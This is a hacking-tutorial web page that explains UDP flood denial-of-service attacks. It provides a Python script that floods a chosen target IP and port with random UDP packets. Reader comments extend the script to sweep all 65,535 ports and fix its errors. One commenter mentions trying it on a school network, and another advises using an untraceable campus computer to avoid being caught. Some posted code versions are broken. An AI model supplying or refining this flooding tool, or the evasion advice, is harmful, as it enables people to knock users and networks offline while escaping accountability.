UDP Flooding: How to Kick a Local User Off the Network

How to Kick a Local User Off the Network

UDP Flooding: How to Kick a Local User Off the Network

Only so much data can be passed through the network and to your computer's networking interfaces. This is limited by the amount of bandwidth you have. The more bandwidth you have, the faster your network connections will be. Not only this, but your transfers will be more parallel and distributed so that all of your speed isn't taken up by one transfer. When all of your bandwidth is sapped and unable to be used, this is called a denial of service, or a DOS.

A DOS can be forced on a computer in a bunch of ways. One of the many ways that we can cause a DOS could be by finding and exploiting a service running on a remote host. We could cause the program to loop or react in a way that it wasn't intended to, causing the remote host to use all of its resources, effectively taking it offline. We could also trigger what is called a UDP flood.

A UDP flood attack can be initiated by sending a large number of UDP packets to random ports on a remote host. As a result, the distant host will:

  1. Check for the application listening at that port.
  2. See that no application listens at that port.
  3. Reply with an ICMP Destination Unreachable packet.

Thus, for a large number of UDP packets, the victimized system will be forced into sending many ICMP packets, eventually leading it to be unreachable by other clients. The attacker may also spoof the IP address of the UDP packets, ensuring that the excessive ICMP return packets do not reach him, effectively anonymizing the attacker's location on the network.

This Null Byte is going to show you how to code a simple UDP flooding script in the Python programming language.

The UDP Flood Script

Open up a notepad and paste the code below into it.

import socket #Imports needed libraries
import random

sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket
bytes=random._urandom(1024) #Creates packet
ip=raw_input('Target IP: ') #The IP we are attacking
port=input('Port: ') #Port we direct to attack

while 1: #Infinitely loops sending packets to the port until the program is exited.
    sock.sendto(bytes,(ip,port))
    print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
    sent= sent + 1

Save the code as udpflood.py with the all files option selected in notepad. To execute the code, simply open up IDLE and run the code in it. It will prompt you for the information that you need to enter.

This attack is directed at just one port, to make a really nasty UDP flood, you need to make it loop through a list of the 65,535 available ports. This can be added very easily, I'm just using it as a way to engage your mind. If you follow logic closely, you don't even have to be a programmer to understand how to add this feature. You can just examine the code! Post below if you figure it out.

Be a Part of Null Byte!

Image via lookatmyhappyrainbow

16 Comments

while 1: #Infinitely loops sending packets to the port until the program is exited.

sock.sendto(bytes,(ip,port))
print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
sent= sent + 1
port = port + 1

How do I get it to start at 1 after it reaches port 65535?

Ah perfect for what I need it for. Now to see if the IT department at school can see this.

If you don't know how to spoof the source IP on the packets, I don't recommend this. This script will get you caught SO easily.

Why while 1: instead of while True: and why sent = sent + 1 instead of send += 1 ?

Sheer habit :).

@mattew i agree with Alex 100% this is an extremely noisy network script. This is so easily tracked down. Also personally I wouldn't even do it if I spoofed it because depending on how you spoof it, your original MAC is still there which can be tracked down. Just some routers /switches ignore the original MAC once its spoofed because its still in the header encapsulated in the packet (again it depends on how you spoof it)

I would only do it with a disposable computer IE campus computer where you don't have to login to it and no previous info about you is on the computer and there are not security cameras along with card swipes to track when you were there in the lab

Traceback (most recent call last):
File "C:\Users\Joshua\Desktop\udpflood.py", line 11, in <module>
print "Sent %s amount of packets to %s at port %s." % (sent,ip,port)
NameError: name 'sent' is not defined

How to fix it?

Really what you should do is take out the last 2 lines. That should not only fix your error but make it run faster, albeit with no visual confirmation of action.

It works. thanks a lot.

Traceback (most recent call last):
File "D:\hamo0706\Desktop\udpflood.py", line 7, in <module>
port=input('Port: -----')
File "<string>", line 0

^
SyntaxError: unexpected EOF while parsing

i tried port 1604, 65535 and alot more none worked what should i do ? i keep on getting this error message anyone ?

can someone help me i cant get to use this script no matter how many changes i do to it

We might be able to help if you show us your script and the error messages.

import socket
import random

sock = socket.socket(socket.AFINET, socket.SOCKDGRAM)
bytes = random._urandom(1490)
ip = raw_input('Target IP: ')
port = input('Port: ')
sent = 0

while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port %s"%(sent,ip,port)
if port == 65534:
port = 1

#this is and updated version of your amazing script

Update with syntax changes in newer versions of python:

import socket
import random

#creates a socket
sock = socket.socket(socket.AFINET,socket.SOCKDGRAM)
bytes=random._urandom(1024) #creates packet
ip=input('Target IP:')

#infinte loop
while 1:
for i in range(1,65536):
port=i
sock.sendto(bytes,(ip,port))
print("Sent %s amount of packets to %s at port %s" %(sent,ip,port))
sent=sent+1

Share Your Thoughts

  • Hot
  • Latest